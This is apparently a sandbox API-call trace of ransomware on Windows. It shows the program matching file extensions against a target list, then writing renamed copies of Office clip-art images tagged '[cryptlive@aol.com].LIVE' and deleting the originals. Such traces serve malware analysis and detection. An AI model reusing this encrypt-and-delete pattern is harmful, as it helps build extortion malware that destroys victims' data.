1 [0157.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0157.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.971] lstrlenW (lpString=".doc") returned 4 [0157.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.971] lstrlenW (lpString=".docx") returned 5 [0157.971] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.972] lstrlenW (lpString=".pdf") returned 4 [0157.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString=".xls") returned 4 [0157.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.972] lstrlenW (lpString=".xlsx") returned 5 [0157.972] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.972] lstrlenW (lpString=".ppt") returned 4 [0157.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.972] lstrlenW (lpString=".zip") returned 4 [0157.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.972] lstrlenW (lpString=".rar") returned 4 [0157.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString=".bz2") returned 4 [0157.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString=".7z") returned 3 [0157.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.972] lstrlenW (lpString=".dbf") returned 4 [0157.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.972] lstrlenW (lpString=".1cd") returned 4 [0157.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.972] lstrlenW (lpString=".jpg") returned 4 [0157.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.972] lstrlenW (lpString=".doc") returned 4 [0157.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString=".docx") returned 5 [0157.972] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.972] lstrlenW (lpString=".pdf") returned 4 [0157.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.972] lstrlenW (lpString=".xls") returned 4 [0157.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.973] lstrlenW (lpString=".xlsx") returned 5 [0157.973] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.973] lstrlenW (lpString=".ppt") returned 4 [0157.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.973] lstrlenW (lpString=".zip") returned 4 [0157.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.973] lstrlenW (lpString=".rar") returned 4 [0157.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.973] lstrlenW (lpString=".bz2") returned 4 [0157.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.973] lstrlenW (lpString=".7z") returned 3 [0157.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.973] lstrlenW (lpString=".dbf") returned 4 [0157.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.973] lstrlenW (lpString=".1cd") returned 4 [0157.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0157.973] lstrlenW (lpString=".jpg") returned 4 [0157.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.973] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0157.973] lstrlenW (lpString="J0145272.JPG") returned 12 [0157.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0157.974] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=49238) returned 1 [0157.974] CloseHandle (hObject=0x350) returned 1 [0157.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 0x20 [0157.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0157.975] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.975] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.976] GetLastError () returned 0x0 [0157.976] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xc056, lpOverlapped=0x0) returned 1 [0157.978] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc060, lpOverlapped=0x0) returned 1 [0157.980] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.980] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.980] SetEndOfFile (hFile=0x384) returned 1 [0157.980] CloseHandle (hObject=0x384) returned 1 [0157.980] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.980] SetEndOfFile (hFile=0x350) returned 1 [0157.985] CloseHandle (hObject=0x350) returned 1 [0157.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0157.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.998] lstrlenW (lpString=".doc") returned 4 [0157.998] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0157.998] lstrlenW (lpString=".docx") returned 5 [0157.998] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0157.998] lstrlenW (lpString=".pdf") returned 4 [0157.998] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0157.998] lstrlenW (lpString=".xls") returned 4 [0157.998] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0157.998] lstrlenW (lpString=".xlsx") returned 5 [0157.998] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0157.998] lstrlenW (lpString=".ppt") returned 4 [0157.998] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0157.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.998] lstrlenW (lpString=".zip") returned 4 [0157.998] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0157.998] lstrlenW (lpString=".rar") returned 4 [0157.998] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0157.998] lstrlenW (lpString=".bz2") returned 4 [0157.998] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0157.998] lstrlenW (lpString=".7z") returned 3 [0157.998] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0157.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.998] lstrlenW (lpString=".dbf") returned 4 [0157.998] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0157.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.998] lstrlenW (lpString=".1cd") returned 4 [0157.998] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0157.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.998] lstrlenW (lpString=".jpg") returned 4 [0157.998] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0157.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.999] lstrlenW (lpString=".doc") returned 4 [0157.999] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0157.999] lstrlenW (lpString=".docx") returned 5 [0157.999] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0157.999] lstrlenW (lpString=".pdf") returned 4 [0157.999] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0157.999] lstrlenW (lpString=".xls") returned 4 [0157.999] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0157.999] lstrlenW (lpString=".xlsx") returned 5 [0157.999] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0157.999] lstrlenW (lpString=".ppt") returned 4 [0157.999] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0157.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.999] lstrlenW (lpString=".zip") returned 4 [0157.999] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0157.999] lstrlenW (lpString=".rar") returned 4 [0157.999] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0157.999] lstrlenW (lpString=".bz2") returned 4 [0157.999] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0157.999] lstrlenW (lpString=".7z") returned 3 [0157.999] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0157.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.999] lstrlenW (lpString=".dbf") returned 4 [0157.999] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0157.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.999] lstrlenW (lpString=".1cd") returned 4 [0157.999] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0157.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0157.999] lstrlenW (lpString=".jpg") returned 4 [0157.999] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.000] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.000] lstrlenW (lpString="J0145361.JPG") returned 12 [0158.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.001] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=21125) returned 1 [0158.001] CloseHandle (hObject=0x350) returned 1 [0158.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 0x20 [0158.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.001] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.001] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0158.002] GetLastError () returned 0x0 [0158.002] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x5285, lpOverlapped=0x0) returned 1 [0158.004] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5290, lpOverlapped=0x0) returned 1 [0158.005] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.005] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.005] SetEndOfFile (hFile=0x384) returned 1 [0158.006] CloseHandle (hObject=0x384) returned 1 [0158.006] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.006] SetEndOfFile (hFile=0x350) returned 1 [0158.008] CloseHandle (hObject=0x350) returned 1 [0158.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0158.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.010] lstrlenW (lpString=".doc") returned 4 [0158.010] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.010] lstrlenW (lpString=".docx") returned 5 [0158.010] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0158.010] lstrlenW (lpString=".pdf") returned 4 [0158.010] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.010] lstrlenW (lpString=".xls") returned 4 [0158.010] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.010] lstrlenW (lpString=".xlsx") returned 5 [0158.010] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0158.010] lstrlenW (lpString=".ppt") returned 4 [0158.010] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.010] lstrlenW (lpString=".zip") returned 4 [0158.010] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.010] lstrlenW (lpString=".rar") returned 4 [0158.010] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.010] lstrlenW (lpString=".bz2") returned 4 [0158.010] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.010] lstrlenW (lpString=".7z") returned 3 [0158.010] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.010] lstrlenW (lpString=".dbf") returned 4 [0158.010] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.010] lstrlenW (lpString=".1cd") returned 4 [0158.010] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.010] lstrlenW (lpString=".jpg") returned 4 [0158.010] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.010] lstrlenW (lpString=".doc") returned 4 [0158.011] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.011] lstrlenW (lpString=".docx") returned 5 [0158.011] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0158.011] lstrlenW (lpString=".pdf") returned 4 [0158.011] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.011] lstrlenW (lpString=".xls") returned 4 [0158.011] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.011] lstrlenW (lpString=".xlsx") returned 5 [0158.011] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0158.011] lstrlenW (lpString=".ppt") returned 4 [0158.011] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.011] lstrlenW (lpString=".zip") returned 4 [0158.011] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.011] lstrlenW (lpString=".rar") returned 4 [0158.011] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.011] lstrlenW (lpString=".bz2") returned 4 [0158.011] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.011] lstrlenW (lpString=".7z") returned 3 [0158.011] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.011] lstrlenW (lpString=".dbf") returned 4 [0158.011] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.011] lstrlenW (lpString=".1cd") returned 4 [0158.011] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0158.011] lstrlenW (lpString=".jpg") returned 4 [0158.011] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.011] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.011] lstrlenW (lpString="J0145373.JPG") returned 12 [0158.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.012] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17867) returned 1 [0158.012] CloseHandle (hObject=0x350) returned 1 [0158.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 0x20 [0158.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.013] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.013] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0158.014] GetLastError () returned 0x0 [0158.014] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x45cb, lpOverlapped=0x0) returned 1 [0158.194] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x45d0, lpOverlapped=0x0) returned 1 [0158.196] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.196] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.196] SetEndOfFile (hFile=0x384) returned 1 [0158.196] CloseHandle (hObject=0x384) returned 1 [0158.196] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.196] SetEndOfFile (hFile=0x350) returned 1 [0158.224] CloseHandle (hObject=0x350) returned 1 [0158.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0158.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.250] lstrlenW (lpString=".doc") returned 4 [0158.250] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.250] lstrlenW (lpString=".docx") returned 5 [0158.250] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0158.250] lstrlenW (lpString=".pdf") returned 4 [0158.250] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.250] lstrlenW (lpString=".xls") returned 4 [0158.250] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.250] lstrlenW (lpString=".xlsx") returned 5 